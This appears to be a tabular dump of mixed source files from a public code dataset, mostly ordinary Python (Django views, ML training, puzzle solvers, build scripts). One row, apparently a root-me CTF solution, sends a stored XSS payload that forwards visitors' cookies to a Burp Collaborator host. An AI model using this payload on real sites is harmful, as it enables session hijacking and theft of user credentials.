seq_id stringlengths 4 11 | text stringlengths 113 2.92M | repo_name stringlengths 4 125 ⌀ | sub_path stringlengths 3 214 | file_name stringlengths 3 160 | file_ext stringclasses 18
values | file_size_in_byte int64 113 2.92M | program_lang stringclasses 1
value | lang stringclasses 93
values | doc_type stringclasses 1
value | stars int64 0 179k ⌀ | dataset stringclasses 3
values | pt stringclasses 78
values |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
21477340103 | # 내 풀이 실패
def solution(money):
n = len(money)
d = [0] * n
if n % 2 == 0:
d[0], d[1] = money[0], money[1]
for i in range(2, n):
d[i] = max(d[i-1], d[i-2]+ money[i])
else:
d[0], d[1] = money[0], max(money[0], money[1])
#반례 : [5,3,1,4,10] dp[n-3]이 money[n-3]을 픽할... | Minsoo-Shin/jungle | ps/temp.py | temp.py | py | 605 | python | ko | code | 0 | github-code | 36 |
24486683451 | """Backward compatibility: in the past, APITaxi was deployed on a dedicated
server and nginx was configured to redirect / to the console, and /doc to
swagger.
Now, the infrastructure is deployed on CleverCloud. We need to perform these
redirections here, since it is impossible to perform redirections on
CleverCloud's ... | openmaraude/APITaxi | APITaxi2/views/redirect.py | redirect.py | py | 709 | python | en | code | 24 | github-code | 36 |
18665391705 | """
Input
-----
intensities_experimental.csv
intensities_sensitivity_unscaled.csv
intensities_singlef_unscaled.csv
intensities_multif_unscaled.csv
conf[model][reference_amplitude]
conf[experimental][reference_amplitude]
Output
------
intensities.csv :
columns: view, Experimental, Model_SingleFreq_Max, Model_Single... | nbud/arimtoolkit | arimtoolkit/collect_intensities.py | collect_intensities.py | py | 2,376 | python | en | code | 0 | github-code | 36 |
23771931621 | import requests
url = 'http://challenge01.root-me.org/web-client/ch19/?section=admin'
headers = {"Content-Type":"application/x-www-form-urlencoded",
"Cookie":'''"><script>document.location='http://llartngjebaflscnrijk19it2k8dw2.burpcollaborator.net?'.concat(document.cookie)</script>'''}
data = {"titre":"... | huydoppa/CTF | root_me/storedxss2.py | storedxss2.py | py | 550 | python | en | code | 0 | github-code | 36 |
26489950821 | from __future__ import print_function
SAFE_TILE = '.'
TRAP_TILE = '^'
TRAP = (
('^', '^', '.'),
('.', '^', '^'),
('^', '.', '.'),
('.', '.', '^'),
)
class MineField(object):
def __init__(self, initial):
self.rows = [initial]
self.num_cols = len(initial)
def _... | mickyloo/adventofcode | 2016/day18/solution.py | solution.py | py | 1,394 | python | en | code | 0 | github-code | 36 |
646246408 | #Lista de Exercício 3 - Questão 17
#Dupla: 2020314273 - Cauã Alexandre Torres de Holanda e 2021327294 - Kallyne Ferro Veiga
#Disciplina: Programação Web
#Professor: Ítalo Arruda
#17.Faça um programa que calcule o fatorial de um número inteiro fornecido pelo usuário. Ex.: 5!=5.4.3.2.1=120
def calcular_fatorial(nume... | caalexandre/Revisao-Python-IFAL-2023-Caua-e-Kallyne | Lista3/l3q17KC-523.py | l3q17KC-523.py | py | 744 | python | pt | code | 0 | github-code | 36 |
40500439125 | #!/usr/bin/env python3
"""
Script to make graph for QMEE collaboration network. Edge width represents number of collaborations, node colour represents
institution type.
INPUTS:
None
OUTPUTS:
../Results/QMEENet_python.svg.pdf = network representing QMEE collaboration network
"""
__appname__ = 'Nets.... | SamT123/CMEECoursework | Week7/Code/Nets.py | Nets.py | py | 2,092 | python | en | code | 0 | github-code | 36 |
12028416507 | # -*- coding: utf-8 -*-
import re
from django.utils import simplejson as json
from django.db import connection
from psycopg2.extensions import adapt, register_adapter, AsIs, new_type, register_type
from .adapt import ADAPT_MAPPER
rx_circle_float = re.compile(r'<\(([\d\.\-]*),([\d\.\-]*)\),([\d\.\-]*)>')
rx_line = re... | cr8ivecodesmith/django-orm-extensions-save22 | django_orm/postgresql/geometric/objects.py | objects.py | py | 8,366 | python | en | code | 0 | github-code | 36 |
3829638210 | import os
import waflib
from waflib import Errors, Options
from waflib.Logs import pprint
def build(ctx):
libntp_source = [
"authkeys.c",
"authreadkeys.c",
"clocktime.c",
"decodenetnum.c",
"dolfptoa.c",
"getopt.c",
"initnetwork.c",
"isc_interfaceite... | ntpsec/ntpsec | libntp/wscript | wscript | 3,180 | python | en | code | 225 | github-code | 36 | |
43301294024 | from rpython.rlib.rarithmetic import r_singlefloat, r_uint
from rpython.rtyper.lltypesystem import lltype, rffi
from rpython.translator.tool.cbuild import ExternalCompilationInfo
r_uint32 = rffi.r_uint
assert r_uint32.BITS == 32
UINT32MAX = 2 ** 32 - 1
# keep in sync with the C code in pypy__decay_jit_counters below... | mozillazg/pypy | rpython/jit/metainterp/counter.py | counter.py | py | 13,442 | python | en | code | 430 | github-code | 36 |
17289255049 | #sql requesting in python,
import sqlite3
import pandas
conn = sqlite3.connect("database.db")
cur = conn.cursor()
cur.execute("SELECT * FROM countries WHERE area >= 2000000")
rows = cur.fetchall()
conn.close()
for i in rows:
print(i)
#put in csv
df = pandas.DataFrame.from_records(rows)
df.columns = ["Rank", "Cou... | michalmendygral/python | python101/advanced_2.py | advanced_2.py | py | 926 | python | en | code | 0 | github-code | 36 |
295139608 | import sqlite3
conn = sqlite3.connect('coffee_main.db')
c = conn.cursor()
with conn:
c.execute("SELECT * FROM coffee_products")
coffees = c.fetchall()
c.execute("SELECT * FROM coffee_components")
component_quantity = c.fetchall()
quantity = []
name = []
for comp_name, comp_quant in component_quant... | arayik-99/Coffee-Machine | src/coffee_database.py | coffee_database.py | py | 779 | python | en | code | 1 | github-code | 36 |
31944141020 | """empty message
Revision ID: 0e84780c08ce
Revises:
Create Date: 2023-06-25 00:48:55.259558
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '0e84780c08ce'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto gene... | yinsont/lit-crypts | server/migrations/versions/0e84780c08ce_.py | 0e84780c08ce_.py | py | 1,792 | python | en | code | 3 | github-code | 36 |
16858298223 | from collections import OrderedDict
order = OrderedDict()
for i in range(int(input())):
a = input().split()
order[' '.join(a[:-1])] = order.get(' '.join(a[:-1]), 0) + int(a[-1])
for i, j in order.items():
print(i, j)
'''
input:
9
BANANA FRIES 12
POTATO CHIPS 30
APPLE JUICE 10
CANDY 5
APPLE JUICE 10
CANDY... | polemeest/daily_practice | hackerrank_ordered_dict.py | hackerrank_ordered_dict.py | py | 432 | python | en | code | 0 | github-code | 36 |
33113562027 | import unittest
from extensions.middle.ReplacePNorm import ReplacePNormNodePattern
from mo.utils.unittest.graph import build_graph, compare_graphs
class ReplacePNormNodePatternTests(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.nodes_attributes = {
'placeholder': {'kind': 'op'... | gjz010-Archive/dldt | model-optimizer/extensions/middle/ReplacePNormNodePattern_test.py | ReplacePNormNodePattern_test.py | py | 3,342 | python | en | code | null | github-code | 36 |
13320350949 | import os
lstA = ['시퀀스 자료형이란?','시퀀스 자료형이란?','시퀀스 자료형이란?','종류','공통 연산','공통 연산','공통 연산','공통 연산','공통 연산','공통 연산']
lstB = ['여러 객체를 저장','각 객체들은 순서를 갖는다','각 객체들은 첨자를 이용하여 참조가능 하다','list, tuple, string','인덱싱(indexing) [1]','슬라이싱(slicing) [1:4]','연결하기 str1 + str2','반복하기 str1 * 4','멤버십 테스트 "a" in str','길이 정보 len(str)']
i=0
wh... | ipcoo43/pythonthree | lesson120.py | lesson120.py | py | 768 | python | ko | code | 0 | github-code | 36 |
20858126377 | # https://leetcode.com/problems/maximum-number-of-words-you-can-type/
class Solution:
def canBeTypedWords(self, text: str, brokenLetters: str) -> int:
count = 0
a = set(brokenLetters)
print(a)
text = text.split()
for x in text:
found = False
for y in... | manu-karenite/Problem-Solving | Strings/maximumNumberOfWordsThatCanBeTyped.py | maximumNumberOfWordsThatCanBeTyped.py | py | 496 | python | en | code | 0 | github-code | 36 |
23781717999 | #!/usr/bin/env python3
import gym
from gym import wrappers
import gym_gazebo
import time
import numpy
import random
import time
import qlearn
import liveplot
from matplotlib import pyplot as plt
def render():
render_skip = 0 # Skip first X episodes.
render_interval = 50 # Show render Every Y episodes.
... | mjohal67/ENPH353_Lab06_Reinforcement | examples/gazebo_lab06_ex/gazebo_lab06_ex.py | gazebo_lab06_ex.py | py | 4,089 | python | en | code | 0 | github-code | 36 |
31316835712 | from django.conf.urls import url
from.import views
# from django.contrib.auth.decorators import permission_required
urlpatterns = [
url(r'^$', views.index, name='index'),
url(r'^nova-conta$', views.novaConta, name='novaConta'),
url(r'^cadastra-nova-conta$', views.novoUsuario, name='novoUsuario'),
url(r... | Sosantos/bancoamaro | bancoamaro/urls.py | urls.py | py | 710 | python | en | code | 0 | github-code | 36 |
14547426726 | from app_ml.functionalities.preprocessing_mongo import read_from_mongo_as_dataframe
from app_ml.functionalities.constants import SAVED_MODEL_PATH
from app_ml.models.RNN import RNN
import pymongo
def main():
cars_db = pymongo.MongoClient('mongodb://localhost:27017')['cars']
data, labels = read_from_mongo_as_dat... | serapan/DrEYEve | app_ml/train/train_rnn.py | train_rnn.py | py | 620 | python | en | code | 0 | github-code | 36 |
19618117170 | import argparse
import logging
import pathlib
import matplotlib.pyplot as plt
# from train import test
plt.style.use("ggplot")
import gc
from pprint import pformat
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
# from functorch import grad, make_functional_with_buffers, vmap
... | ABD-01/Coreset | src/grad_match.py | grad_match.py | py | 15,845 | python | en | code | 0 | github-code | 36 |
73750601385 | import json
import os
import time
from tqdm import tqdm
from easydict import EasyDict
import pandas as pd
from .index_compression import restore_dict
def find_pos_in_str(zi, mu):
len1 = len(zi)
pl = []
for each in range(len(mu) - len1):
if mu[each:each + len1] == zi: # 找出与子字符串首字符相同的字符位置
... | cuteyyt/searchEngine | miniSearchEngine/construct_engine/utils.py | utils.py | py | 4,878 | python | en | code | 0 | github-code | 36 |
24257764446 | """Find out how to 'clear the board' in Pyramid Solitaire.
The design is meant to be simple to understand so it is less likely to have
bugs, but to make Pyramid Solitaire solvable for the worst case scenarios, we
must do a bit of optimization work on the state representation.
This implementation skips all of the prec... | mchung94/solitaire-player | pysolvers/solvers/pyramid.py | pyramid.py | py | 11,173 | python | en | code | 37 | github-code | 36 |
33731559942 | #import sys
#import pprint
from Player.util import print_board
from Player.game import Board
from Player.newAI import AI #3 detlte not needed....
from copy import deepcopy
import random
class Player:
# this player class is a reimplementation of game class"
"""
A class to repres... | jjwhitham/Expendibots | Player/Player.py | Player.py | py | 7,568 | python | en | code | 0 | github-code | 36 |
4979589087 | nome = str((input("Nome Completo:")))
up = nome.upper()
low = nome.lower()
let = nome.split()
joi = ''.join(let)
cou = len(joi)
qua = len(let[0])
print('Nome com todas as letras maiúsculas:', up)
print('Nome com todas as letras minúsculas:', low)
print('Quantidade de letras:', cou)
print('Quantida de letras do prime... | SloBruno/Curso_Em_Video_Python_Exercicios | ex022.py | ex022.py | py | 341 | python | pt | code | 0 | github-code | 36 |
75107100903 | from pyrogram import Client, Filters, InlineKeyboardMarkup, InlineKeyboardButton, Emoji
from config import Messages as tr
@Client.on_message(Filters.private & Filters.incoming & Filters.command(['start']))
async def _start(client, message):
await client.send_message(chat_id = message.chat.id,
text = tr.STA... | cdfxscrq/GDrive-Uploader-TG-Bot | plugins/help.py | help.py | py | 2,093 | python | en | code | 83 | github-code | 36 |
43249592224 | from django.shortcuts import render
from articles.models import Article
def articles_list(request):
template = 'articles/news.html'
acricles = Article.objects.all().prefetch_related('scopes')
ordering = '-published_at'
context = {'object_list': acricles.order_by(ordering)}
return render(request, ... | StickKing/netology-dj-homeworks | 2.2-databases-2/m2m-relations/articles/views.py | views.py | py | 339 | python | en | code | 0 | github-code | 36 |
12572829630 | def find_it(seq):
hashtable = {}
for x in seq:
if x in hashtable:
hashtable[x] += 1
else:
hashtable[x] = 1
for key,val in hashtable.items():
if val % 2 != 0:
return key
"""
def find_it(seq):
for i in seq:
if seq.count(i)%2!=0:
... | AG-Systems/programming-problems | Codewars/Find-the-odd-int.py | Find-the-odd-int.py | py | 355 | python | en | code | 10 | github-code | 36 |
70514052584 | from nonebot import on_command, on_message
from nonebot.params import CommandArg
from nonebot.adapters.onebot.v11 import (
GroupMessageEvent,
Bot,
Message,
MessageSegment
)
from nonebot.adapters.onebot.v11.permission import GROUP
from src.plugins.song_guess.data_source import generate_problem
from src.... | Ayupyon/Ayumu-Bot | src/plugins/song_guess/plugins/guess/__init__.py | __init__.py | py | 2,757 | python | en | code | 0 | github-code | 36 |
1121900442 | import asyncio
import logging
import os
from time import time
import aiohttp
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
async def read_text_file(directory, file):
"""
Async version of the download_link method we... | suganyamuthukumar/python | TestfileIOAsync.py | TestfileIOAsync.py | py | 1,603 | python | en | code | 0 | github-code | 36 |
24633206 | from sys import stdin
input = stdin.readline
n = int(input())
q = list()
for _ in range(n):
a = list(map(str, input().split()))
if a[0] == "push":
q.append(a[1])
if a[0] == "pop":
if len(q) != 0:
print(q.pop(0))
else:
print(-1)
if a[0] == "size":
p... | kmgyu/baekJoonPractice | DataStructure/data structure1/queue.py | queue.py | py | 1,228 | python | en | code | 0 | github-code | 36 |
73917552423 | import scipy.io
import pylab
import numpy
from math import *
import scipy.misc
import scipy.sparse
import sys
import time
import matplotlib.ticker
#import HCIL_model # make sure this model accounts for alignments etc
from matplotlib import pyplot as plt
import socket
import time
from InitializationPY import *
from EKF_... | HeSunPU/FPWCmatlab | EKF.py | EKF.py | py | 6,852 | python | en | code | 2 | github-code | 36 |
18425812334 | import os
import random
import time
from tkinter import *
import os
import random
import time
from tkinter import *
class decisionMaker():
def __init__(self, master):
#创建主要变量和UI界面
self.parent = master
self.parent.title("decisionMaker")
self.frame = Frame(self.parent)... | JD07/MyMindBlowing | choiceMaker/choiceMaker.py | choiceMaker.py | py | 4,625 | python | zh | code | 0 | github-code | 36 |
2805625238 | import pandas as pd
import scipy
import pylab
import numpy as np
from statsmodels.formula.api import OLS
from easydev import Progress, AttrDict
from gdsctools.stats import MultipleTesting
from gdsctools import readers
from gdsctools.boxplots import BoxPlots
from gdsctools.settings import ANOVASettings
from gdsctools... | Oncology/gdsctools | gdsctools/anova.py | anova.py | py | 47,168 | python | en | code | null | github-code | 36 |
6280612969 | import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
import datetime as dt
from datetime import datetime
#%config InlineBackend.figure_format = 'retina'
#%matplotlib inline
#%%
path='C:/Users/Mr.Goldss/Desktop/health care digital ticket EDA/'
filename='7_23_2020 Faci... | zjin311/MaricopaWorkLog | health care digital ticket EDA/python models/seaborn viz center.py | seaborn viz center.py | py | 10,947 | python | en | code | 0 | github-code | 36 |
21604577101 | import base64
from collections import OrderedDict
import datetime
from google.cloud._helpers import UTC
from google.cloud._helpers import _date_from_iso8601_date
from google.cloud._helpers import _datetime_from_microseconds
from google.cloud._helpers import _datetime_to_rfc3339
from google.cloud._helpers import _RFC33... | a0x8o/kafka | sdks/python/.tox/lint/lib/python2.7/site-packages/google/cloud/bigquery/_helpers.py | _helpers.py | py | 19,540 | python | en | code | 59 | github-code | 36 |
36450480034 | # repo originally forked from https://github.com/Confusezius/Deep-Metric-Learning-Baselines
################# LIBRARIES ###############################
import warnings
warnings.filterwarnings("ignore")
import numpy as np, pandas as pd, copy, torch, random, os
from torch.utils.data import Dataset
from PIL import Imag... | Andrew-Brown1/Smooth_AP | src/datasets.py | datasets.py | py | 18,924 | python | en | code | 193 | github-code | 36 |
1417028314 | # A class of students with first name, last name, student number, task 1-2-3 scores
class ICT112_Student:
def __init__(self,first_name,last_name,student_number, list_dbl_task_1 ,dbl_task_2, dbl_task_3):
self.first_name = first_name
self.last_name = last_name
self.student_number = student_num... | Kaizuu08/PythonShowcase2023Semester1 | Week 9/week9.py | week9.py | py | 4,366 | python | en | code | 0 | github-code | 36 |
33096692946 | import torch
import torch.nn as nn
from torchvision import models
from torch.autograd import Variable
from models.head import ClassBlock
class Resnet50_ft(nn.Module):
def __init__(self, class_num=751, droprate=0.5, stride=2, circle=False, ibn=False):
super(Resnet50_ft, self).__init__()
model_ft =... | SHT-Club4/ReID-PyTorch | models/backbone.py | backbone.py | py | 1,513 | python | en | code | 0 | github-code | 36 |
10202065384 | import os
import math
import numpy as np
import shutil
import cv2
from colormath.color_conversions import *
from colormath.color_objects import *
from sklearn.manifold import TSNE
import json
from similarity_measurer import SimilarityMeasurer
from color_palette import ColorPalette
from geo_sorter_helper impo... | Xiaozhxiong/Palette-Sorting | expriment_6.py | expriment_6.py | py | 6,551 | python | en | code | 0 | github-code | 36 |
11898527172 | '''10. Write a Python program to get a string which is n (non-negative integer) copies of a given string.
Tools: input function, slicing'''
word = str(input("Type in any string or word: "))
n = int(input("Enter the number of repititions: "))
ans = ""
for i in range(n):
ans = ans + word
print(ans)
| Ekeopara-Praise/python-challenge-solutions | Ekeopara_Praise/Phase 1/Python Basic 1/Day 3 Tasks/Task 10.py | Task 10.py | py | 314 | python | en | code | null | github-code | 36 |
7796554238 |
#每一次切尽可能让两边小,贪心算法
import heapq
class Solution:
def __init__(self):
self.heap = []
def split_gold(self, arr):
if not arr:
return 0
for each in arr:
heapq.heappush(self.heap, each)
res = 0
while len(self.heap) > 1:
d1 = heapq.heappop... | 20130353/Leetcode | target_offer/栈+队列+堆/切金条.py | 切金条.py | py | 561 | python | en | code | 2 | github-code | 36 |
37348975097 | from __future__ import annotations
import numpy as np
from gpaw.core.atom_arrays import AtomArrays
from gpaw.core.matrix import Matrix, create_distribution
from gpaw.core.plane_waves import (PlaneWaveAtomCenteredFunctions,
PlaneWaveExpansions, PlaneWaves)
from gpaw.core.uniform_grid ... | f-fathurrahman/ffr-learns-gpaw | my_gpaw/new/pw/fulldiag.py | fulldiag.py | py | 4,859 | python | en | code | 0 | github-code | 36 |
22443410562 | #!/usr/bin/python
import roslib
import rospy
import tf.transformations
from geometry_msgs.msg import Twist
import time
from std_msgs.msg import Int16,Int32, Int64, Float32, String, Header, UInt64
import smbus
import time
import math
import numpy as np
def returnBearing():
bus = smbus.SMBus(1)
address = 0x1e
... | gddickinson/robot_code | piRobot/bearingNode.py | bearingNode.py | py | 1,965 | python | en | code | 0 | github-code | 36 |
31518451112 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import logging
import base64
import hmac
import hashlib
import json
from urllib import parse
from urllib import request
from datetime import datetime
# timeout in 5 seconds:
TIMEOUT = 5
API_HOST = 'be.huobi.com'
SCHEME = 'https'
# language setting: 'zh-CN', 'en':
LAN... | szhu3210/Arbitrage-trader | legacy/huobi_eth_client.py | huobi_eth_client.py | py | 15,614 | python | en | code | 5 | github-code | 36 |
28814194209 | import os
import glob
import logging
import numbers
import numpy as np
import pandas as pd
from ast import literal_eval
from django.conf import settings
from ..utils.custom_decorator import where_exception
from ..data_preprocess.preprocess_base import PreprocessorBase
logger = logging.getLogger("collect_log_helper")
... | IoTKETI/citydatahub_analytics_module | ANALYTICS_MODULE/API/services/model_batch/batch_helper.py | batch_helper.py | py | 8,017 | python | en | code | 1 | github-code | 36 |
39776686649 | import sqlite3
import pandas as pd
import urllib.request
import xml.etree.ElementTree as et
from installations_type_json import Installation_type_json
from installations_type_xml import Installation_type_xml
from installation import Instalation
from recherche import Recherche
from patinoire import Patinoire
from glissa... | alioudiallo224/Restfull-API-in-python | database.py | database.py | py | 13,259 | python | fr | code | 0 | github-code | 36 |
666327424 |
class BaseTask(app.Task): # app is the initialized celery instance: app = celery.Celery(...)
def __call__(self, *args, **kwargs):
log.debug({
"message": "Starting task",
"args": self.request.args,
"kwargs": self.request.kwargs,
"retry": "{}/{}".format(self... | ferrariwagon/lilbits | celery/custom_base_task.py | custom_base_task.py | py | 2,917 | python | en | code | 0 | github-code | 36 |
74876356585 | import tweepy
import csv
from textblob import TextBlob
import operator
import copy
def checkminimum(test):
#test has the intracluster distances for your data point,refer to kmeans function, first for loop
min_dist = test[0]
c=0
p=0
for i in test:
if min_dist>i:
min_dist = i
p=c #c is the p... | anirudhkamath/sentimentAnalyser | twitter-extract-revised.py | twitter-extract-revised.py | py | 3,704 | python | en | code | 0 | github-code | 36 |
4855275955 | #!/usr/bin/python
# -*- coding: utf-8 -*
from fabric.api import *
from fabric.context_managers import *
from fabric.contrib.console import confirm
from fabric.contrib.files import *
from fabric.contrib.project import rsync_project
import fabric.operations
import time,os
import logging
import base64
from getpass import ... | zzlyzq/speeding | funcs/cdh.py | cdh.py | py | 9,909 | python | en | code | 1 | github-code | 36 |
73171895785 | """
Date: 2019.07.04
Programmer: DH
Description: About System Manager Report Generator
"""
import pandas as pd
import matplotlib.pyplot as plt
from PIL import Image
class ReportGenerator:
"""
To get information about age, emotion, factor from data_set, and
make a chart from data_set.
"""... | Im-Watching-You/SELab-Smart-Mirror | DH/report.py | report.py | py | 12,685 | python | en | code | 0 | github-code | 36 |
27037529813 | import os
import re
from PIL import Image
from datetime import datetime
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.timezone import now
from django.utils.html import format_html
from django.utils.text import slugify
from filebrowser.fields import FileBrowseF... | andywar65/rpnew_base | pagine/models.py | models.py | py | 11,731 | python | en | code | 1 | github-code | 36 |
8426372011 | #!/usr/bin/python
# -*- coding: UTF-8 -*-
#有上面一条后才能在注释上使用中文
import myConfigParser
import os
import re
import sys
import time
import threading
thisPath = sys.path[0] + "/confTest.conf"
config = myConfigParser.myConfigParser()#提取配置文件数据
NetCard = ""
NetCardSignal = ""
WlanName = ""
class savWlan(threading.Thread):
def... | dyygxmy/Network_Manage_Data5 | saveWlanState.py | saveWlanState.py | py | 2,104 | python | en | code | 0 | github-code | 36 |
70176885225 | # imports
from sklearn.pipeline import Pipeline
from sklearn.compose import ColumnTransformer
from TaxiFareModel.encoders import TimeFeaturesEncoder, DistanceTransformer
from sklearn.linear_model import LinearRegression
from sklearn.preprocessing import StandardScaler, OneHotEncoder
from TaxiFareModel.utils import comp... | lamothearthur/TaxiFareModel | TaxiFareModel/trainer.py | trainer.py | py | 2,701 | python | en | code | 0 | github-code | 36 |
19424192217 | # -*- coding: utf-8 -*-
"""
Created on Sun Dec 13 17:05:23 2020
@author: Ruo-Yah Lai
"""
import matplotlib.pyplot as plt
import numpy as np
import csv
import ast
def spikePlots(turns, unit, subfield, filename, df, title=""):
"""
turns: from alleyTransitions
filename: the file with which locations a fiel... | whock3/ratterdam | Ruo-Yah's weekly/121320.py | 121320.py | py | 1,809 | python | en | code | 0 | github-code | 36 |
74867967785 | from data_loader import *
from plotter import *
from utils import *
import netCDF4 as nc
import argparse
import pandas as pd
from tkinter import *
# TODO: Add gui....eventually
# import customtkinter
#
# customtkinter.set_appearance_mode('system')
# root = customtkinter.CTk()
# root.geometry('300x400')
# button = cus... | sauriemma11/GOES-SOSMAG-Mag-Subtraction | src/main.py | main.py | py | 6,243 | python | en | code | 0 | github-code | 36 |
39047462457 | #sayının bölenleri toplamı sayıya eşit mi diye kontrol eder
top = 0
liste = []
sayi = int(input("bir sayi giriniz: "))
i=1
while i < sayi:
if (sayi % i == 0):
top += i
liste.append(i)
i+=1
print(liste)
if (top==sayi):
print("mukemmel sayi")
else:
print("mükemmel sayi de... | SemihAkcan/python | bol_top.py | bol_top.py | py | 333 | python | tr | code | 0 | github-code | 36 |
70525087465 | import socket
import sys
import logging
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
# Create a TCP/IP socket
sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
# Connect the socket to the port where the server is listening
server_address = ('localhost', 5000)
logging.info ('connecting to {} por... | Des-Tello/ArquiSW | services/visualizacion_personal.py | visualizacion_personal.py | py | 2,142 | python | en | code | 0 | github-code | 36 |
71481161065 | class Mob:
def __init__(self, x, y, r, hp, attack, speed, various, name, ):
self.x = x
self.y = y
self.r = r
self.hp = hp
self.attack = attack
self.speed = speed
self.various = various
self.animation = 0
self.name = name
def receive_dame... | fukuchy/project_shooting | setting/Mob.py | Mob.py | py | 447 | python | en | code | 0 | github-code | 36 |
8204266844 | """
Lession URL:
https://seir-222-sasquatch.netlify.app/second-language/week-18/day-3/labs/python-containers-lab/
"""
# Exercise 1
students = ["Joshua","Timmy","Json","Rusty","Javario", "Pi Hon"]
print(students[1])
print(students[-1])
#Exercise 2
foods = ("pizza", "pie", "Mac & Cheese", "Salsa", "Kimchi", "Louisiana f... | Banditolabs/python_functions_and_containers | python_containers/python_containers.py | python_containers.py | py | 1,137 | python | en | code | 0 | github-code | 36 |
19718744533 | # -*- coding:utf-8 -*-
import os
import httplib
import re
import urllib
'''
http://www.drnew.com/car-brands.html
http://www.autoheroes.com/resources/manufacturers.shtml
http://buddysurvey4u.com/search/transport-newcars/index.htm
http://weblivenews.com/sports-car-brands-list/25096/
'''
home_url = 'www.d... | macanhhuy/carshop-django | data_script/brands/brands_collect.py | brands_collect.py | py | 4,806 | python | en | code | 0 | github-code | 36 |
19258065891 | from openpyxl import load_workbook
class doExcel():
def __init__(self,file_path,sheet_name):
self.file_path=file_path
self.sheet_name=sheet_name
self.wb=load_workbook(self.file_path)
self.sh=self.wb[self.sheet_name]
#获取当前sheet最大的行数
self.row_max=self.sh.max_row
... | DXH20191016/untitled | test_interface_auto/common/doExcel.py | doExcel.py | py | 1,429 | python | en | code | 0 | github-code | 36 |
44431973655 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Test suite for generic classes.
"""
from __future__ import print_function, division
import unittest as ut
import numpy as np
from diffusions import (GBM, GBMparam, Vasicek, VasicekParam,
CIR, CIRparam, Heston, HestonParam,
... | khrapovs/diffusions | tests/test_generic.py | test_generic.py | py | 768 | python | en | code | 1 | github-code | 36 |
24349509747 | import os
import json
from flask import Flask, request, send_file, jsonify
from picamera2 import Picamera2, Preview
import time
from PIL import Image
picam2 = Picamera2()
camera_config = picam2.create_still_configuration(main={"size": (256, 256)})
picam2.set_controls({"ExposureTime": 5000})
picam2.configure(camera_con... | felzmatt/visiope-project | raspberry-stack/sensor-server/main.py | main.py | py | 2,697 | python | en | code | 0 | github-code | 36 |
70446469223 | """
East Text detection
"""
import cv2
import numpy as np
from imutils.object_detection import non_max_suppression
from cfir_game_lens.utils import Box, GameCoverImage, ImageSize
from dataclasses import astuple
class EAST: # pylint: disable=too-few-public-methods
"""East Class
"""
LAYER_NAMES = ["featur... | CfirTsabari/cfir_game_lens | cfir_game_lens/east.py | east.py | py | 3,836 | python | en | code | 0 | github-code | 36 |
71073572903 | import torch
import torch.nn as nn
import torch.nn.utils.rnn as rnn
from torch.utils.data import Dataset, DataLoader, TensorDataset
import torch.nn.functional as F
from torch.autograd import Variable
from sklearn.model_selection import train_test_split
import numpy as np
import time
import pandas as pd
import matplotl... | aymitchell/UAV-navigation | TrajectoryPrediction/train.py | train.py | py | 5,926 | python | en | code | 7 | github-code | 36 |
21885165618 | """
Migration scripts
"""
import click
from packaging.version import Version
from brewblox_ctl import actions, click_helpers, const, migration, sh, utils
@click.group(cls=click_helpers.OrderedGroup)
def cli():
"""Global command group"""
def check_version(prev_version: Version):
"""Verify that the previous... | BrewBlox/brewblox-ctl | brewblox_ctl/commands/update.py | update.py | py | 9,669 | python | en | code | 3 | github-code | 36 |
12323619959 | # -*- coding: utf-8 -*-
"""
Created on Wed Oct 26 09:28:19 2022
@author: bjk_a
"""
#1.kutuphaneler
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
# veri yukleme
veriler = pd.read_csv('maaslar.csv')
x = veriler.iloc[:,1:2]
y = veriler.iloc[:,2:]
X = x.values
Y = y.values
... | SamedAkbulut/Machine_Learning | ML_17_Decision_tree.py | ML_17_Decision_tree.py | py | 2,633 | python | en | code | 1 | github-code | 36 |
17090348286 |
'''
PALINDROM Slovo, ktore je rovnake odporedu aj odzadu
'''
def palindrome(slovo: str) -> bool:
for i in range(len(slovo)):
t = slovo[:i] + slovo[i+1:]
if t == t[::-1]:
return True
return False
s = 'KOROK'
print(palindrome(slovo=s))
| fortisauris/PyDevJunior2 | session11-10_Algoritmus_PALINDROME.py | session11-10_Algoritmus_PALINDROME.py | py | 273 | python | sk | code | 1 | github-code | 36 |
16753186305 | import os
import json
import pandas as pd
import numpy as np
reffile = "reference.json"
# errfile = "errors.json"
datfile = os.path.join(".", "data",
"DOHMH_New_York_City_Restaurant_Inspection_Results.csv")
data = pd.read_csv(datfile, index_col=[0])
data = data.sort_index()
original_cols = data.columns
with o... | raokaran/rest_inspect | edav_final/merge_doh_yelp.py | merge_doh_yelp.py | py | 4,213 | python | en | code | 0 | github-code | 36 |
31626333564 | import os
import bs4
from nltk.corpus.reader.api import CorpusReader
from nltk.corpus.reader.api import CategorizedCorpusReader
import nltk
import time
from sklearn.feature_extraction.text import TfidfVectorizer
import pandas as pd
from sklearn.feature_extraction import text
from nltk import sent_tokenize
from nltk imp... | kyle1213/data-mining | html_to_vector.py | html_to_vector.py | py | 13,987 | python | en | code | 0 | github-code | 36 |
13151184850 | import numpy as np
from scipy.optimize import fmin_bfgs
from MILpy.functions.noisyORlossWeights import noisyORlossWeights
from MILpy.functions.noisyORlossAlphas import noisyORlossAlphas
from MILpy.functions.traindecstump import traindecstump
class MILBoost(object):
def __init__(self):
self._alpha = No... | jmarrietar/MILpy | Algorithms/MILBoost.py | MILBoost.py | py | 3,049 | python | en | code | 18 | github-code | 36 |
36896145879 | import struct
import dns.rdata
import dns.rdatatype
class SSHFP(dns.rdata.Rdata):
"""SSHFP record
@ivar algorithm: the algorithm
@type algorithm: int
@ivar fp_type: the digest type
@type fp_type: int
@ivar fingerprint: the fingerprint
@type fingerprint: string
